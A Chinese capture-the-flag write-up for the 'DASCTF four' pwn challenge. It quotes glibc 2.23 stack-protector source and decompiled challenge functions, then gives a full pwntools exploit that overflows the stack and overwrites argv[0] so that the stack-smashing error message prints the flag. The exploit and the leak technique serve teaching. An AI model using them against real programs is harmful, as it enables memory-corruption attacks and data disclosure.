DASCTF four
新学到的知识 在libc2.23中的_stack_chk_fail()函数
1 2 3 4 5 6 7 8 // debug/stack_chk_fail.c extern char **__libc_argv attribute_hidden; void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); }
1 2 3 4 5 6 7 8 9 10 11 12 // debug/fortify_fail.c extern char **__libc_argv attribute_hidden; void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); } libc_hidden_def (__fortify_fail)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // sysdeps/posix/libc_fatal.c /* Abort with an error message. */ void __libc_message (int do_abort, const char *fmt, ...) { va_list ap; int fd = -1; va_start (ap, fmt); #ifdef FATAL_PREPARE FATAL_PREPARE; #endif /* Open a descriptor for /dev/tty unless the user explicitly requests errors on standard error. */ const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_"); if (on_2 == NULL || *on_2 == '\0') fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY); if (fd == -1) fd = STDERR_FILENO;
把argv[0]覆盖成flag的地址,再通过栈溢出就可以打印出flag
保护检查
源码分析 main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { unsigned int v4; // [rsp+0h] [rbp-10h] BYREF int i; // [rsp+4h] [rbp-Ch] unsigned __int64 v6; // [rsp+8h] [rbp-8h] v6 = __readfsqword(0x28u); v4 = 0; sub_401458(a1, a2, a3); for ( i = 0; i <= 3; ++i ) { puts("your choice : "); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { sub_4014B9(); } else if ( v4 == 5 ) { sub_4013E1(); } if ( v4 >= 6 ) { puts("error"); exit(1); } if ( (int)v4 <= 2 ) sub_400B94(); if ( v4 == 3 ) sub_400CA8(); if ( (int)v4 > 3 ) sub_40101C(); } return 0LL; }
1
1 2 3 4 5 6 int sub_4014B9() { puts("You can disclose the libc address, but the error stream will be closed"); printf("address---> %p", &printf); return close(2); }
5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 sub_4013E1() { char buf[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); if ( !dword_60204C ) { puts("This is a strange overflow. Because of canary, you must not hijack the return address"); read(0, buf, 0x200uLL); close(1); ++dword_60204C; } return 0LL;
sub_400B94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 sub_400B94() { const char *v0; // rax char buf; // [rsp+Bh] [rbp-6015h] BYREF unsigned int v3; // [rsp+Ch] [rbp-6014h] BYREF char v4[24584]; // [rsp+10h] [rbp-6010h] BYREF unsigned __int64 v5; // [rsp+6018h] [rbp-8h] v5 = __readfsqword(0x28u); v3 = 0; puts("You can give any value, trust me, there will be no overflow"); __isoc99_scanf("%d", &v3); if ( v3 >= 0x5FF0 ) { puts("NO OVERFLOW!!!"); exit(1); } puts("Actually, this function doesn't seem to be useful"); sub_400AF7(v4, v3); puts("Really?"); read(0, &buf, 1uLL); if ( buf == 121 || buf == 89 ) { v0 = (const char *)sub_4009A7(v4); printf("content : %s", v0); } return 0LL; }
3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 __int64 sub_400CA8() { unsigned int v1; // [rsp+0h] [rbp-260h] BYREF unsigned int v2; // [rsp+4h] [rbp-25Ch] BYREF unsigned int v3; // [rsp+8h] [rbp-258h] BYREF int v4; // [rsp+Ch] [rbp-254h] BYREF int i; // [rsp+10h] [rbp-250h] int v6; // [rsp+14h] [rbp-24Ch] int v7; // [rsp+18h] [rbp-248h] int fd; // [rsp+1Ch] [rbp-244h] char s1[12]; // [rsp+20h] [rbp-240h] BYREF int v10; // [rsp+2Ch] [rbp-234h] char dest[32]; // [rsp+30h] [rbp-230h] BYREF char buf[256]; // [rsp+50h] [rbp-210h] BYREF char s[264]; // [rsp+150h] [rbp-110h] BYREF unsigned __int64 v14; // [rsp+258h] [rbp-8h] v14 = __readfsqword(0x28u); strcpy(s1, "output.txt"); s1[11] = 0; v10 = 0; i = 0; v1 = 0; v2 = 0; v3 = 0; v6 = 0; printf("Enter level:"); __isoc99_scanf("%d", &v1); printf("Enter mode:"); __isoc99_scanf("%d", &v2); printf("Enter X:"); __isoc99_scanf("%d", &v3); if ( v1 > 6 || v2 > 4 || v3 >= 4 ) { puts("invalid data!"); exit(1); } printf("Enter a string: "); sub_400AF7(s, 250LL); v7 = strlen(s); for ( i = 0; i < v7; ++i ) { if ( !(i % (int)v1) || !(i % (int)v2) ) buf[v6++] = s[i]; if ( !(i % (int)v3) ) buf[i] = 64; } puts("please input filename"); __isoc99_scanf("%14s", s1); if ( strncmp(s1, "output.txt", 0xAuLL) ) { strncpy(s1, "output.txt", 0xCuLL); strncpy(dest, s1, 0xCuLL); } fd = open(dest, 0); if ( fd == -1 ) { puts("open error!"); exit(1); } puts("Do you want to write data?"); puts("1. yes\n2.no"); __isoc99_scanf("%d", &v4); if ( v4 == 1 ) { write(fd, buf, 0x100uLL); close(fd); puts("Successly!"); } else { puts("OK!"); } return 0LL; }
4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 __int64 sub_40101C() { char v1; // [rsp+Bh] [rbp-135h] int fd; // [rsp+Ch] [rbp-134h] int j; // [rsp+10h] [rbp-130h] char *i; // [rsp+18h] [rbp-128h] char delim[2]; // [rsp+2Ah] [rbp-116h] BYREF int v6; // [rsp+2Ch] [rbp-114h] char s[8]; // [rsp+30h] [rbp-110h] BYREF __int64 v8; // [rsp+38h] [rbp-108h] char v9[240]; // [rsp+40h] [rbp-100h] BYREF unsigned __int64 v10; // [rsp+138h] [rbp-8h] v10 = __readfsqword(0x28u); *(_QWORD *)s = 0LL; v8 = 0LL; memset(v9, 0, sizeof(v9)); fd = 0; v6 = 0; v1 = 0; strcpy(delim, ">"); puts("info>>"); __isoc99_scanf("%256s", s); for ( i = strtok(s, delim); i; i = strtok(0LL, delim) ) { for ( j = 0; i[j]; ++j ) { if ( i[j] == '~' && i[j + 1] > '/' && i[j + 1] <= '9' ) fd = i[j + 1] - '0'; if ( i[j] == ':' && i[j + 1] && i[j + 2] && i[j + 3] && !i[j + 4] ) { LOBYTE(v6) = i[j + 1]; BYTE1(v6) = i[j + 2]; HIWORD(v6) = (unsigned __int8)i[j + 3]; break; } if ( i[j] == '@' && i[j + 2] == '*' && i[j + 1] > 0x60 && i[j + 1] <= 'z' ) v1 = i[j + 1]; } } if ( fd <= 2 || fd > 10 ) { puts("error!"); exit(1); } read(fd, (void *)((SBYTE1(v6) << 8) + ((char)v6 << 16) + SBYTE2(v6)), v1); return 0LL; }
本题的泄露libc没有用,在选项3中可以打开一个文件,文件名地址为dest,如果输入output.txt,就不对dest处进行修改,如果没有输入output.txt,就会把dest处设置成output.txt,而dest处是其他值,所以我们可以先进入sub_400B94函数把栈上布置上很多的flag,这样下次进入选项3的时候就可以让dest处为flag,我们正常输入output.txt就可以打开flag。在选项4中设置读取某个文件的若干字节到一个地址,我们把flag读取到bss段,之后进行溢出覆盖argv[0]为bss段的地址
偏移计算
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * context(os='linux',arch='amd64',log_level='debug') #p = process("./pwn") p = remote('node4.buuoj.cn',29762) p.recvuntil("your choice : \n") p.sendline("2") p.recv() p.sendline(str(0x5FF0 - 1)) payload = "aa" + "flag\x00" * 4910 p.sendline(payload) p.recv() p.sendline("n") p.recv() p.sendline("3") p.recv() p.sendline("1") p.recv() p.sendline("1") p.recv() p.sendline("1") p.recv() p.sendline("aa") p.recv() payload = "output.txt\x00" p.sendline(payload) p.recv() p.sendline("2") p.recvuntil("your choice : \n") p.sendline("4") p.recvuntil("info>>") payload = ":`!!>~3>@z*" p.sendline(payload) p.sendlineafter("your choice : \n",str(5)) payload='a'*0x118+p64(0x602121) p.recv() p.sendline(payload) p.interactive()